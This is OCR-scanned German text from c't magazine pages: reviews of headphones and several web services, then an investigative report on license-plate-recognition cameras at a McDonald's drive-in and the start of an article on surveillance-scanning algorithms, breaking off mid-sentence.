geschaltet sein. Die vom Hersteller ange-
gebene Akkulaufzeit von 80 Stunden ist
mehr als ausreichend; selbst nach einem
langen Biirotag war das S5 noch zu 90 Pro-
zent gefiillt.

Fazit

Dank des bequemen Sitzes, der vielen An-
schlussmoglichkeiten und der langen
Akkulaufzeit ist das S5 ein guter Allroun-
der. Fiir ein Bluetooth-Headset hat das S5
einen auergewohnlich guten Klang, vor
allem mit den Stoffpolstern. Dank seiner
prazisen Impulswiedergabe holt es Details
heraus, die andere Headsets in dieser
Preisklasse mit ihren dynamischen Wand-
lern verschlucken, etwa die Airpods Max
oder das Sonos Ace. (hag@ct.de) ¢t

Edifier Stax Spirit S5

Hersteller Edifier, edifier.com

Bluetooth 5.4 (aptX, AAC, SBC, LHDC, LDAC)
USB-C, Klinke (3,5/6,3 mm)

Preis 500 €

Anschliisse
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Test & Beratung | Digitale Kinderbiicher, Notfallnotizen

0 Biicher mit Textmarkierung »

Weltoffenes
Biicherregal

Polylino bietet zwei virtuelle Biblio-
theken, je eine fiir Vor- und Grund-
schiiler. Sie umfassen Biicher in liber
40 Sprachen. Das Besondere daran
ist die meist mehrsprachige Ver-
tonung: Professionelle Sprecher
tragen die Geschichten in vielen
unterschiedlichen Sprachen vor.

Das Angebot des schwedischen Anbieters
ILT Education startete als Service fiir Kin-
dertagesstatten. Spater kam ,,Polylino
Schule“ hinzu, eine Sammlung mit Bii-
chern fiir das erste selbststindige Lesen
in der Grundschule. Kitas, die Polylino
nutzen, konnen fiir Eltern den sogenann-
ten Home Access einrichten. Das jiingste
Angebot richtet sich an Familien, die den
Zugang zur virtuellen Bibliothek unabhan-
gigvon Kita oder Schule privat abonnieren
mochten.

Die Idee hinter Polylino ist es, Kin-
dernunabhingig von ihrer Muttersprache
die Welt der Blicher und die Fertigkeit des
Lesens nahezubringen. Wenn Erzieher in
der Kita ein Buch lesen und besprechen
mochten, konnen damit auch die Kinder
an dieser Gruppenaktivitit teilnehmen,
die noch keine umfangreichen Deutsch-
kenntnisse haben. Sie horen sich die
Geschichte dazu in ihrer Muttersprache
an; nach und nach verstehen sie so auch
den deutschen Text. Rein deutschspra-

Polylino

Hersteller, URL ILT Education, polylino.de
Systemant. Internetverbindung, aktueller Browser
Systemanf. Apps Android ab 7.0, i0S/iPad0S ab 12.0

Preis fiir Familien 10 €/Monat,
fiir Kitas ab 587 €/Jahr
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chige Kinder, die dem fremdsprachigen
Sprecher zuhoren, bekommen ein Gefiihl
fir die Muttersprachen anderer Kita-
Kinder.

Die Software lduft im Browser und
als App auf diversen Mobilgerdten. Wir
haben sie unter Android auf einem Goo-
gle Pixel 8a sowie auf einem Chromebook
getestet, auflerdem auf einem iPad der
8. Generation sowie am PC in verschie-
denen Browsern. Zwar bauten sich einzel-
ne Buchseiten mitunter recht langsam
auf, ansonsten aber funktionierten das
Stobern im Buchregal, das Lesen und Vor-
lesenlassen in Browser und Apps glei-
chermaf3en gut.

Die Grundansicht zeigt untereinander
angeordnete Regalbretter, auf denen Bii-
cher nach Themen, Sprachen und Kate-
gorienwie ,,Leicht zulesen“ oder ,,Lieder-
biicher® sortiert sind. Um seine Favoriten
aneinem Ort zu sammeln, kann man eige-
ne Regale anlegen. Erzieher oder Lehr-
krafte konnen einzelne Biicher mit Lese-
zeichen versehen und um Fragen zum
Inhalt ergéinzen. Anschliefend ldsst sich
ein QR-Code fiir das vorbereitete Buch
generieren, liber den die Kinder direkten
Zugang zu diesem Titel haben.

Um mebhr iiber ein Buch im Regal zu
erfahren, fahrt man mit Finger oder Maus
iiber das Titelbild und wihlt die Schalt-
fliche mitkleinem ,,i“. Der Steckbrief zum
gewihlten Titel umfasst unter anderem
eine Inhaltsangabe, Seitenzahl, Spieldauer
der Audiodatei und die verfiigbaren Spra-
chen fiir dieses Buch. Unter den zurzeit
rund 70 Vorlesesprachen gibt es beispiels-
weise zwei Arabisch-Varianten (Irak,
Syrien) und auch Gebardensprache. Man-
che Biicher haben lediglich eine deutsche
Audiospur, andere Titel bieten 20 oder
30 unterschiedliche Vorlesesprachen.

Die Biicherdarstellung unterscheidet
sich von sogenannten animierten Bilder-
biichern: Es gibt weder Musik noch ergén-
zende Suchspiele und es hiipfen auch
keine lustigen Tiere durchs Bild. Bei Poly-
lino geht es ums ernsthafte Lesen- und
Sprachenlernen. Dazu bringen die Biicher
sinnvolle Funktionen mit: Sie erlauben
stufenloses Verstellen der Lesegeschwin-
digkeit, markieren die aktuelle Textstelle
und blittern wahlweise automatisch um.

Die Bibliotheken fiir Vor- und Grund-
schiiler umfassen aktuell jeweils mehr als
1000 Biicher aus namhaften Verlagen. Sie
lassen sich von Einrichtungen 30 Tage und
von Privatpersonen 14 Tage lang kostenlos
testen. (dwi@ct.de)

| weexpire

Posthum texten

Wann libergibt man Angehorigen
eine letzte Notfallnotiz? Vor dem
eigenen Tod ist es zu friih, danach
wird’s schwierig. Der Dienst We-
Expire.org will das Dilemma l6sen.

WeExpire kennt keine Nutzerkonten und
erfragtkeine personlichen Angaben. Statt-
dessen geht es nach einem Klick auf ,,Get
Started oben rechts sofort los: Man tippt
einen Titel, maximal 1000 Zeichen Text
sowie zwei unterschiedliche eigene Mail-
adressen in die jeweiligen Textfenster.
Schliefilichlegt mannoch eine Zeitspanne
fiir Reaktionen zwischen einem Tag und
sechs Monaten fest, akzeptiert die klarund
nachvollziehbar formulierten Terms of
Service und generiert mit einem Klick auf
»Continue“ ein PDF.

Der Dienst verschlisselt die Nach-
richt nach dem AES-256-CTR-Verfahren
und wandelt sie in einen QR-Code um.
Das generierte PDF enthilt den QR-Code,
einen Zugangscode dafiir sowie eine kurze
Erklarung. Sobald die Vertrauensperson
versucht, durch Scannen des Codes auf
den verschliisselten Text zuzugreifen,
fragt der Dienst nach dem Zugangscode.

Falls der Code korrekt eingegeben
wird, kontaktiert WeExpire zunéchst den
Verfasser. Reagiert dieser innerhalb der
definierten Zeitspanne nicht auf die Mails,
bekommt der Inhaber des QR-Codes die
Notiz zulesen. Mit WeExpire erstellte Not-
fallnotizen verfallen 365 Tage nachdem
sie generiert wurden.

Laut Entwickler speichert der Dienst
den Inhalt von Notizen ausschliefilich im
QR-Code und nicht auf den in Italien ge-
hosteten WeExpire-Servern. (dwi@ct.de)

WeEXxpire

Hersteller, URL | Francesco Calabretta, weexpire.org
Systemanf. Internetverbindung, Browser
Preis kostenlos (Open Source)
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Individueller
Reiseflihrer

VoiceMap bietet Audiodateien mit
gefiihrten Touren fiir Orte in 68 Lin-
dern von Argentinien bis Vietnam.
Ortskundige Einheimische stellen
darin ihre Heimat vor. Der Clou: Jeder
Nutzer kann auch selbst eine solche
Tour zusammenbauen und iiber das
Portal zum Kauf anbieten.

Wihrend es Angebote fiir tiber 100 Orte
in den USA gibt, findet man fiir andere
Lander nur wenige Fithrungen. Fiir Island-
freunde gibt es beispielsweise lediglich
eine Tour durch Reykjavik, wahlweise auf
Englisch oder Franzosisch. Dagegen hat
VoiceMap allein fiir New York City 35 Tou-
ren zu bieten, 33 davon auf Englisch. Ak-
tuell gibt es 42 Touren in deutscher Spra-
che. Darunter sind solche durch grofde
Stadte wie ,,Ein Spaziergang durch das
romische Koln“ und landliche Regionen
wie ,Ein Spaziergang in Warnemiinde:
Vom Fischerdorf zum Seebad“.

Das Angebot ldsst sich nach Sprache
und Art der Tour filtern, wobei es die Ka-
tegorien Spaziergang zu Fuf3, Radtour,
Tour mit dem Auto, Zugfahrt und Indoor
gibt; die ebenfalls vorgesehenen Katego-
rien fiir Bootstouren und zum Joggen sind
nur sporadisch im Katalog vertreten. Oh-
nehinrichten sich die allermeisten Touren
an Fuflginger. In der Kategorie Zugfahrt
finden sich beispielsweise auch vier Be-
schreibungen von Metrofahrten durch
Dubai.

Touren prasentiert die Site mit einem
Foto plus kurzem Steckbrief, aus dem her-
vorgeht, wer die Tour erstellt hat und fiir
welche Fortbewegungsart sie gedacht ist.
Auch Zeitbedarf, Linge, Preis und Bewer-
tungen anderer Nutzer sind vermerkt. Der
Preis fiir eine einzelne Tourbeschreibung
kann zwischen 5und 30 US-Dollar liegen,
tatsdchlich sind die meisten Touren fiir
deutlich weniger als 10 US-Dollar zu
haben, einige sogar kostenlos. Einmal he-
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runtergeladene Touren kann man beliebig
oft abspielen und unterwegs pausieren
lassen, um einen Kaffee zu trinken.

Spannend ist das Geschiftsmodell
von VoiceMap. Besucher der Website kon-
nen nicht nur fertige Touren herunterla-
den, sondern auch selbst Audio Guides
erstellen und veroffentlichen. Die Website
bietet dafiir alle ndtigen Werkzeuge samt
solider Einfiihrung in deren Nutzung. Als
esim (anonymen) Test beim Anlegen einer
neuen Tour klemmte, reagierte eine
VoiceMap-Mitarbeiterin innerhalb von
Minuten per Chat und konnte das Problem
-zu langer Titel - rasch l6sen.

Um selbst eine Tour anzulegen, ver-
gibt man einen Titel und legt Ort, Fort-
bewegungsart und den spiteren Preis fest.
Der Touren-Editor blendet in der rechten
Fensterhilfte einen Google-Maps-Aus-
schnitt ein, der sich beliebig verschieben
und vergroflern lasst. Dort zeichnet man
die geplante Tour ein oder importiert eine
KLM-Datei, markiert einzelne Punkte und
notiert in der linken Fensterhilfte die
Texte dazu. Sie werden fiir eine Vorabver-
sion der Tour durch eine Sprach-KI vor-
gelesen und spater vom Autor selbst ein-
gesprochen. Die Software berechnet, wie
viel Zeit Nutzer fiir die Tour benotigen
werden und wie lang die Texte zu den Se-
henswiirdigkeiten sein diirfen. Optional
konnen Musik, Fotos, 360°-Videos und
3D-Grafiken erginzt werden. Als Autor
einer Tour reicht man zunachst einen Vor-
schlag mit den ersten drei Sehenswiirdig-
keiten ein. Die weitere Fertigstellung er-
folgt in Abstimmung mit einem Mitarbei-
ter des Portals, der unter anderem die
Qualitét der Audiodaten priift.

Das interessante Konzept dieser
durchdachten Software erlaubt es, dass
einerseits Touristen ihr Reiseziel auf ganz
individuelle Weise kennenlernen konnen
- fast so, als wenn ein Ortskundiger sie
durch sein Viertel fiihrt. Andererseits gibt
VoiceMap Menschen Gelegenheit, ihre
Heimat Reisenden aus aller Welt niaher-
zubringen. (dwi@ct.de)

VoiceMap

Hersteller, URL VoiceMap, voicemap.me

Systemanf. zum Erstellen  Internetverbindung, Browser
von Touren

Systemanf. fiir Tournutzung = Mobilgeré&t mit GPS-Funktion

Preis fiir Nutzung des Basic: kostenlos, ab 15 US-$/Monat
Tour-Editors

Preis fiir fertige Touren

teilweise kostenlos, ab 5 US-$
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Kameras auf offentlichen Platzen und in
Geschaften zeichnen nicht nur auf, viele
Modelle konnen das Gesehene auch ana-
lysieren und bewerten. Das ist meist nicht
im Interesse der Gefilmten und langst nicht
immer erlaubt. Wir schauen auf Technik,
Algorithmen und Rechtslage.

Von Jan Mahn

in McDonald’s-Schnellrestaurant in
E einem Gewerbegebiet in Hildes-

heim, unweit von Hannover. Eine
der frei stehenden Filialen mit Parkplatz,
E-Auto-Schnellladesdule und einem
McDrive, dem Abholfenster fiir Kunden
mit Auto. Betrieben wird der Standort von
»McDonald’s Deutschland LLC“, einer
Gesellschaft nach US-Recht mit Zweig-
niederlassungin Miinchen. Der Laden ge-
hort also nicht einem der iiber 200 Fran-
chise-Nehmer, die nach Angaben auf der
Homepage mehr als 94 Prozent der ins-
gesamt 1430 Standorte betreiben. Die
deutsche McDonald’s-Tochter selbst ist
verantwortlich fiir das, was hier passiert.

Auf den ersten Blick nichts Unge-
wohnliches. Am Haupteingang und auch
an den Nebentiiren hangen kleine graue
Uberwachungskameras, sodass man das
Gebiaude nicht ungesehen betreten kann.
Umdas Typenschild dieser kleinen Kame-
ras entziffern zu konnen, muss sich der
interessierte Gast am besten eine Trittlei-
ter mitbringen. XNO-8030RP von Han-
wha Vision ist dann zu lesen. Beim Fach-
hindler gibt es die fiir 770 Euro zuziiglich
Mehrwertsteuer, McDonald’s hat also
nicht die giinstigsten Modelle ausgewahlt.
Uberwachungskameras mit dhnlicher Auf-
16sung (2560 x 1920 Pixel verarbeitet die
Hanwha) hatten wir schon deutlich giins-
tiger im Test [1].

Die Kameras, die draufden vorm Bur-
ger-Restaurant hiangen, konnen abernoch
mehr. Sie gehoren zur Familie ,,Wisenet
X*. Im Restaurant entdecken wir fiinf wei-
tere kleine weifde Dome-Kameras, eben-
falls mit ,Wisenet“ beschriftet.

Was die Wisenet-Familie kann, erlau-
tert Hanwha in einer Broschiire: Solche

c't 2024, Heft 17

Kameras erkennen von Haus aus zum Bei-
spiel, wo sich Personen aufhalten, und
generieren Heatmaps, die zeigen, wo viel
gestanden wird. Aufderdem konnen sie die
Linge von Warteschlangen auswerten und
Statistiken zur Schlangenlénge tiber Zeit-
raume erstellen. Hier steht ausdriicklich
»konnen“, denn ob McDonald’s diese
Funktionen nutzt, sicht man der Kamera
nicht an. Auch nicht, ob der Betreiber eine
weitere Funktion der Hardware nutzt:
Hanhwa o6ffnet seine Kameras fiir Soft-
warehersteller. Uber die ,,Hanwha Open
Platform® konnen sie Anwendungen mit
Machine-Learning-Algorithmen fiir die
Gerite anbieten. Im Hanwha-Online-
marktplatz (siehe ct.de/ya3d) findet man

Funktionen fiir die Verkehrstiberwachung,
aber auch fiir die Analyse von Gesichtern
oder fiir Auswertungen nach Geschlecht
und Alter. Andere Zulieferer versprechen,
dass sie erkennen konnen, wer eine
Schutzmaske trigt und wer nicht - 2021
war die Funktion sicher haufiger gefragt
als heute.

Hanwha ist langst nicht der einzige
Kamerahersteller, dessen Produkte so
etwas konnen: Vorangeschritten ist vor
allem die automatisierte Fahrzeugerken-
nung. Was moderne Uberwachungskame-
rasin diesem Bereich leisten und was sich
Betreiber davon versprechen, beschreibt
der folgende Artikel ab Seite 84 ausfiihr-
lich. Welche Funktionen die Unternehmen
tatsidchlich nutzen, ist fiir Auflenstehende
nicht zu erkennen. Am Eingang zum Res-
taurant weist McDonald’s nur allgemein
auf die Videotiberwachung hin. Laut Aus-
hang werden die Daten erhoben, um Ei-
gentum, Mitarbeiter und Géste zu schiit-
zen, und die Aufzeichnungen in der Regel
nach wenigen Tagen geloscht. Solche For-
mulierungen sind Standard fiir Uberwa-
chungskameras.

Unter Beobachtung

Zu der McDonald’s-Filiale gefiihrt hatte
uns nicht der Appetit auf Burger, sondern
der Hinweis eines Lesers. Dem war auf-
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Suchspiel: Der Datenschutzaushang, der auf die videogestiitzte Zeitenerfassung
hinweist, hdngt dezent an der braunen Saule in der Bildmitte. Eine der Kameras ist

am rechten Pfosten angebracht.
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gefallen, dass sich zu den kleinen Uber-
wachungskameras noch weitere im Be-
reich des Drive-in gesellen, auflerdem ein
weiterer Datenschutzaushang direkt an
der Einfahrt zum Drive-in. Auf eine ,,vi-
deogestiitzte Zeitenmessung™ weist man
dort hin. Die McDonald's Deutschland
LLC beruft sich im knappen Aushang auf
Artikel 6 Absatz 1f der DSGVO. Die nicht
naher benannte Datenverarbeitung ge-
schehe ,,zu operativen Zwecken im Rah-
men unseres berechtigten Interesses®.
Personenbezogene Daten wiirden nicht
gespeichert, heifdt es weiter, und die er-
fassten Bilder unmittelbar nach Erfassung
unkenntlich gemacht.

Was man sich unter einer videoge-
stiitzten Zeitenmessung vorstellen muss,
haben wir uns genauer angesehen: Drei
Kameras hiangen rund um die Drive-in-
Einfahrt, die deutlich groler als die an den
Eingdngen postierten Netzwerkaugen
sind. Eine Kamera hingt an einem Later-
nenmast und filmt direkt von vorn die
Autos, die an der Saule halten, in die man
seine Bestellung spricht. Anschlief3end
fahren die Autos um eine Linkskurve und
direkt aufeine zweite Kamera zu, die unter
dem Dachiiberstand héngt. Linker Hand
ist das erste Abholfenster, dahinter filmt

McDona
§ Liefersery
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eine dritte Kamera den Bereich vorm zwei-
ten Fenster. Mit kompakter Trittleiter ist
auch das Typenschild dieser Kameras zu
entziffern: XNO-L6080R, ebenfalls von
Hanwha Vision, ebenfalls im Preisbereich
um 750 Euro plus Mehrwertsteuer. Thre
technischen Daten klingen fiir den Preis
zunichst schwach: nur 1920 x 1080 Pixel,
also 2 Megapixel. Dafiir hat sie immerhin
einen Infrarotsensor und ein Infrarotlicht;
beides zusammen verspricht gute Bilder
in der Nacht. Im Jahr 2021 - das ist das
aufgedruckte Baujahr-bekam man schon
Infrarotkameras mit hoherer Auflosung
fiir weniger Geld.

Besondere Kameras

Doch das Datenblatt auf der Hersteller-
seite verrit schon in der Uberschrift,
warum man die XNO-L6080R trotzhohen
Preises haben will: ,,Automatic Number
Plate Recognition - with outstanding ac-
curacy“ ist das Besondere an der Kamera,
mit dem der Hersteller den hoheren Ver-
kaufspreis begriindet, also eine Num-
mernschilderkennung mit herausragen-
der Genauigkeit. Neben dem qualitativ
iiberschaubaren Bild bekdme man als Be-
treiber Uber die Netzwerkschnittstelle
Zeichenketten mit gelesenen Nummern-

Die Kameras, die das
McDonald’s-Restau-
rant fiir die Zeiten-
messung einsetzt,
werden fiir die akku-
rate Kennzeichener-
kennung beworben.
Sie filmen die Autos
im Drive-in.

schildern heraus. Die Texterkennung er-
folgt lokal, also ohne Server, man kann die
gelesenen Daten aber an einen eigenen
Server schicken. Bis zu vier Kameras sollen
als Master und Slaves iibers Netzwerk zu-
sammenarbeiten, erkannte Kennzeichen
dariiber mit den anderen teilen und Be-
wegungen von einer Kamera an andere
»weiterreichen®. So ldsst sich ein Fahrzeug
iiber ein Geldnde verfolgen. Das typische
Anwendungsszenario fiir Hanwha ist ein
Parkhaus mit Schranken, die sich 6ffnen,
wenn ein einfahrender Dauerparker an-
hand des Kennzeichens erkannt wurde.
Oder ein Parkplatz, der ohne Papiertickets
auskommt und die Schranken automa-
tisch 6ffnet, nachdem man sein Kennzei-
chen beim Bezahlen eingetippt hat.

Nun hat McDonald’s am Drive-in aber
keine Schranken verbaut und auch keinen
erkennbaren Grund, Kennzeichen zu er-
fassen. Auf dem Datenschutzaushang ist
lediglich von einer videogestiitzten Zei-
tenmessung die Rede. Das Unternehmen
will also herausfinden, wie lange die Fahr-
zeuge an den einzelnen Stationen verwei-
len und wie viel Zeit zwischen Bestellung
und Abfahrt vergeht. Als Gast im Restau-
rant kann man auf einem Monitor im of-
fenen Kiichenbereich erkennen, was die
erste der drei Kameras filmt. Alle Bereiche
jenseits des eigenen Grundsttiicks sind ver-
pixelt. Der Blick auf das erste wartende
Auto ist wenig aussagekraftig, nicht ein-
mal die Lange der Warteschlange dahinter
kann man darauf vollstindig erkennen.

Wofuir?

Esistzwar technisch moglich, dass McDo-
nald’s die drei 750-Euro-Kameras mit
Kennzeichenerkennung ausschliefSlich
dafiir nutzt, die Existenz eines Autos zu
bemerken. Die erste Kamera wiirde beim
Einfahren melden, dass sie ein Nummern-
schild gesehen hat (nicht welches) und
dadurch eine Stoppuhr starten. Die beiden
anderen stoppen die Zeit, wenn beiihnen
ein Nummernschild ins Sichtfeld rollt. Alle
Gerite vergessen sofort alles, was sie ge-
sehen haben.

Doch damit schief3t man weit iibers
Ziel hinaus: Mit groflem Aufwand hitte
man ein System gebaut, das drei simple
Lichtschranken ersetzt. Der einspurige
Drive-in hat keine Abzweigungen, sodass
ein Auto, das die erste Lichtschranke pas-
siert, auch zweifelsfrei dasselbe sein muss,
das durch die zweite fahrt.

Und eine Zeitenmessung diirfte sogar
noch einfacher funktionieren, ganz ohne
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Sensor: An der Bestellsdule diktiert man
schliefdlich seine Wiinsche, die unverziig-
lichin die Kasse getippt werden. Die Start-
zeit einer Bestellung lasst sich also leicht
erfassen. Ebenso der Moment,indemder
Kassenbeleg gedruckt wird.

Bei einer juristischen Bewertung, ob
eine Uberwachungsmafinahme erlaubt ist
oder nicht, spielen mogliche technische
Alternativen, die weniger in die Privat-
sphire der Betroffenen eingreifen, eine
gewichtige Rolle. Worin genau der Vorteil
einer videogestiitzten Messung liegt, kon-
nen nur McDonald’s Deutschland und die
Planer der Anlage beantworten. Daher
haben wir der Pressestelle und dem Da-
tenschutzbeauftragten der Restaurantket-
te mehrere Fragen geschickt. Wir wollten
wissen, worin die nicht naher benannte
Datenverarbeitung genau besteht und ob
das Unternehmen sicherstellen kann, dass
keine Kennzeichen und andere personen-
bezogenen Daten verarbeitet oder gespei-
chert werden.

Die Pressestelle von McDonald’s er-
klarte, dass bei dem lokal betriebenen
System zur videogestiitzten Zeitenmes-
sung ,.eine Interessenabwigung” stattge-
funden habe:,,Alternative Messtechniken,
wie die von Ihnen angesprochenen, erwie-
sen sich als nicht gleichermafien geeig-
net.“ Einen Grund dafiir, warum simple
Lichtschranken nicht gentigt hitten, nann-
te McDonald’s nicht.

Des Weiteren fiihrte das Unterneh-
men aus: ,,Das System arbeitet mit gering
aufgelosten Kamerabildern, die lediglich
tiir wenige Millisekunden im Arbeitsspei-
cher des Systems verarbeitet und laufend
unwiderruflich durch nachfolgende Bilder
iiberschrieben werden. Das System er-
kennt lediglich gesamte Fahrzeuge als fiir
die Zeitenmessung relevante Objekte,
aber keine weiteren Details, insbesondere
keine Nummernschilder oder Fahrzeug-
insassen.

Demnach schiefdt der Betreiber der
Fast-Food-Kette tatsachlich mit Kanonen
auf Spatzen und hat eine aufwendige
Uberwachungsanlage eingekauft, ohne
deren Moglichkeiten auszunutzen. Unse-
re Frage, ob das System auch in anderen
Filialen zum Einsatz kommt, beantworte-
te McDonald's nicht.

Was moglich ist

Was aber sollte ein Restaurantbesitzer
iberhaupt mit einer Nummernschild-
erkennung anfangen? Die Betreiber konn-
ten erfassen, woher die Giste stammen,
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Zwecke und Rechtsgrundiage der Datenverarbeitung:
Art 6 Abs. 11 DSGVO
Ui Op

Berechtigte Interessen, die verfolgt werden
Verbesserung der operativen Abléufe im Drive.

Es erfolgt keine Speicherung von personenbezogenen
Daten. Die erfassten Bilder werden unmittelbar nach
Erfassung unkenntlich gemacht.

Weitere Informationen erhalten Sie
auf Nachfrage an der Kasse.

VIDEOGESTUTZTE ZEITENMESSUNG

Was man sich genau unter der Datenverarbeitung vorstellen muss, wird aus dem
Aushang nicht klar. Wir haben beim Unternehmen nachgefragt.

oder Stammkunden erkennen. Verkniipft
man Kennzeichen und Daten von Perso-
nen, die zum Beispiel am Drive-in einen
Gutschein in der Kunden-App gezeigt
haben, wiren Kundengewinnungsmaf3-
nahmen denkbar.

In Europa ist aber lingst nicht jede
Funktion, die Hanwha und andere Her-
steller in ihre Uberwachungssysteme ein-
bauen, auf einem Restaurantparkplatz
erlaubt. Dem stehen die Datenschutz-
Grundverordnung und andere Gesetze
im Weg und jeder Einsatz einer solchen
Technik muss genau abgewogen werden.
Auf der einen Seite der Waage liegt das
Interesse des Kunden, der nicht méchte,
dass sein Kennzeichen oder sein Gesicht
ineiner Datenbanklandet und ausgewer-
tet wird. In der anderen Waagschale lie-
gen die Interessen des Betreibers, im
konkreten Beispiel die ,,operativen Zwe-
cke®, die McDonald’s fiir seine videoge-
stiitzte Zeitenmessung anfiihrt. Die De-
tails zu dieser Abwiagung und den Gren-
zen, die der Gesetzgeber aus gutem
Grund eingezogen hat, lesen Sie im Arti-
kel ab Seite 90.

Fazit

Was bleibt vom Ausflug ins Gewerbege-
biet? Zunichst die Erkenntnis: Einer Uber-
wachungskamera sieht man unmaoglich
an, was sie noch kann, aufler Bewegtbilder
an einen Netzwerkvideorekorder zu schi-
cken. Aufeinem solchenliegen die Videos
in der Regel so lange, bis entweder eine
Straftat geschieht oder die Daten automa-
tisch tiberschrieben werden. Wer irgend-
wo eine Kamera hingen sieht, muss wis-

sen: Uberwachungskameras konnen auch
Menschen zihlen, Kunden analysieren,
Schutzmasken erkennen, Nummernschil-
derlesenund mit KI andere Magie anstel-
len.

Paradoxerweise ist das aus Daten-
schutzperspektive auf der einen Seite er-
freulich, wenn die Analyse lokal auf der
Hardware erfolgt und die Bilder nicht in
ein Cloud-Rechenzentrum verschickt wer-
den. Auf der anderen Seite senkt genau
das aber auch die Hiirde bei Betreibern,
solche Funktionen zu nutzen, weil es so
einfachist. Selbstderkleine Ladenumdie
Ecke kann ohne fundierte IT-Kenntnisse
mit wenigen Klicks in einer Weboberfla-
che die Nummernschilder auf seinem
Parkplatz protokollieren oder die Stim-
mung seiner Kunden im Laden analysie-
ren lassen.

Als Kunde kann man unméglich in
jedem Laden die Typenschilder der Ka-
meras suchen und das Unternehmen fra-
gen, was da genau analysiert wird. Aber
wer sich bewusst ist, dass die Technik, die
wir aufden folgenden Seiten beschreiben,
existiert, schaut kiinftig vielleicht genauer
auf die dezenten Datenschutzaushinge.
Wenn da mehr angekiindigt wird als die
konventionelle Videoiiberwachung, ist
etwas gesundes Misstrauen angebracht.

(jam@ct.de) c

Literatur

[1]1 Andrijan M6cker, Netzwerkaugen, IP-Kameras ab
80 Euro ohne Cloud-Zwang, c't 22/2018, S. 96

Datenblatter von Hanwha: ct.de/ya3d
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Auf Schritt und Tritt

Scan-Algorithmen: Wie sie tracken, woran sie scheitern

Kameras liberwachen Park-
platze, sammeln Mautgebiihren
ein und helfen, Kriminelle zu
schnappen. Dazu scannen sie
Kennzeichen, Gesichter oder
das menschliche Verhalten:
nicht immer fehlerfrei, nicht
immer transparent.

Von Andrea Trinkwalder
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n immer mehr offentlichen und
A privaten Orten tauchen Uberwa-
chungskameras auf. Was genau sie
analysieren und ob sie dies im Rahmen der
geltenden Gesetze tun, siecht manihnenvon
aufden nicht an. In Parkhiusern und auf Fir-
menparkplitzen erfassen schrankenlose
Systeme die Nummernschilder ein-und aus-
fahrender Pkws, um die Parkzeit zu ermit-
teln und unberechtigtes Parken zu sanktio-
nieren. Mitunter kontrollieren sie auch per
Laufwege-Tracking auf Parkplétzen ,,Nur
fiir Kunden“, ob der Fahrertatsichlichinden
Laden geht oder das Geldnde verlasst.
Hiufig miissen dann Datenschiitzer
oder Gerichte entscheiden, ob eine spezi-
fische Technik rechtskonform verwendet

| Tracking ... |

ID: MOOD

wird oder werden kann. Dazu miissen sie
mitunter tief in die komplexen Verfahren
eintauchen, um die dafiir relevanten (tech-
nischen) Details zu finden und deren Aus-
wirkungen nachzuvollziehen.

Nahezu jede Anwendung birgt ihre
eigenen technischen Herausforderungen:
Malgiltes, eher simple Objekte zu erfassen,
diesich aber sehr schnell bewegen; ein Bei-
spiel dafiir ist die Nummernschilderken-
nung im flielenden Verkehr. Andere be-
wegen sich nur gemaéchlich oder stehen,
was fiir die Objekterkennungideal ist. Dies
trifft in der Regel auf Personen an offentli-
chen Platzen zu. Dafiir sind ihre Gesichter
wesentlich schwerer zu unterscheiden als
Nummernschilder, weil viel mehr und sub-
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tilere Merkmale zu berticksichtigen sind als
bei den normierten Autokennzeichen.

Kennzeichen-Knobeleien

Kfz-Kennzeichen auszulesen, erscheint
aufden ersten Blick wie ein langst gelostes
Problem: Die Schilder sind rechteckig, die
Schrift kontrastreich, die Glyphen grof3,
die Anzahl der zu unterscheidenden Klas-
sengering: 0-9, A-Z.Doch sosimpelistes
nicht. Insbesondere Maut- oder Fahn-
dungssysteme miissen die Kennzeichen
auch bei hoher Geschwindigkeit und unter
widrigen Bedingungen korrekt interpre-
tieren: ungiinstige Kamerawinkel, Schnee,
Regen, Nebel, Dunkelheit, Gegenlicht,
(dadurch bedingte) Reflexionen, Schmutz
auf dem Nummernschild et cetera. Wie
gut ihnen das gelingt, hingt von der Qua-
litdt des aufgezeichneten Bild- und Video-
materials - und damit von der Kamera-
technik - sowie von der Robustheit des
Algorithmus ab. Nicht zuletzt spielen auch
Design, Schriftarten und die verwendeten
Ziffern eine Rolle. So sind die standardi-
sierten deutschen Schilder mitihrem star-
ken Schwarz-Weif3-Kontrast fir Maschi-
nen grundsitzlich besser lesbar als die
mehr oder weniger frei gestaltbaren US-
amerikanischen. Bei den Zeichen O und

0,Bund 8,Iund 1, S und 5 sowie Z und 2
besteht relativ hohe Verwechslungsgefahr.

Der fiir deutsche Kfz-Schilder ver-
wendete Font ist die sogenannte fal-
schungserschwerende Schrift (FE-Schrift).
Die charakteristischen Formen der Gly-
phen sollten Nachbildungen erschweren.
Ob sie dies tatsdchlich gewahrleisten, ist
umstritten, aber die Zeichen sind dartiber
hinaus auch auf gute Erkennung und Ma-
schinenlesbarkeit optimiert - ideale Vo-
raussetzungen also fiir Machine-Learning-
und andere Scan-Algorithmen.

Viele Hersteller werben mit fabelhaf-
ten Genauigkeiten von 95 Prozent und
mehr. Wie gut ihre Systeme im Einsatz
tatsachlich funktionieren, ist allerdings
nicht transparent und wird in der Regel
nicht unabhingig evaluiert. Einige Er-
kenntnisse kann man immerhin aus wis-
senschaftlichen Publikationen wie etwa
derakribischen Arbeit britischer Forscher
unter der Leitung von Reda Al-batat zie-
hen. Al-batat war Software Engineer an
der Universitit Westminster und arbeitet
mittlerweile beim Uberwachungstechnik-
hersteller Vicon. In ihrem Aufsatz ,,An
End-to-End Automated License Plate Re-
cognition System Using YOLO Based Ve-
hicle and License Plate Detection with

Vehicle Classification (Link via ct.de/
y9tp) beschreiben und evaluieren die Wis-
senschaftler eine selbst entwickelte Echt-
zeiterkennung, die Fahrzeuge bei hoher
Geschwindigkeit klassifiziert und anhand
des Nummernschilds identifiziert - auch
im Dunkeln und bei schlechter Witterung.

Grundsitzlich besteht die automati-
sche Kennzeichenerkennung (Automatic
Number Plate Recognition, ANPR) aus
vier Schritten
1. Fahrzeugerkennung
2. FahrzeugKklassifizierung
3. Nummernschilderkennung
4. Optische Zeichenerkennung (OCR)
Ein zentraler Baustein zahlreicher kom-
merzieller Systeme ist mittlerweile das
Open-Source-Framework YOLO (You
only look once), das im Jahr 2015 den
Durchbruch bei der Echtzeit-Objekterken-
nung brachte. Dessen Entwickler haben
dasKlassifizierungsprocedere mit ein paar
cleveren Tricks und Kniffen so stark be-
schleunigt, dass endlich Echtzeitanwen-
dungen realisierbar wurden.

Klassische Algorithmen nutzten ein
zweistufiges Verfahren, um alle Objekte
im Bild zu lokalisieren und mithilfe von
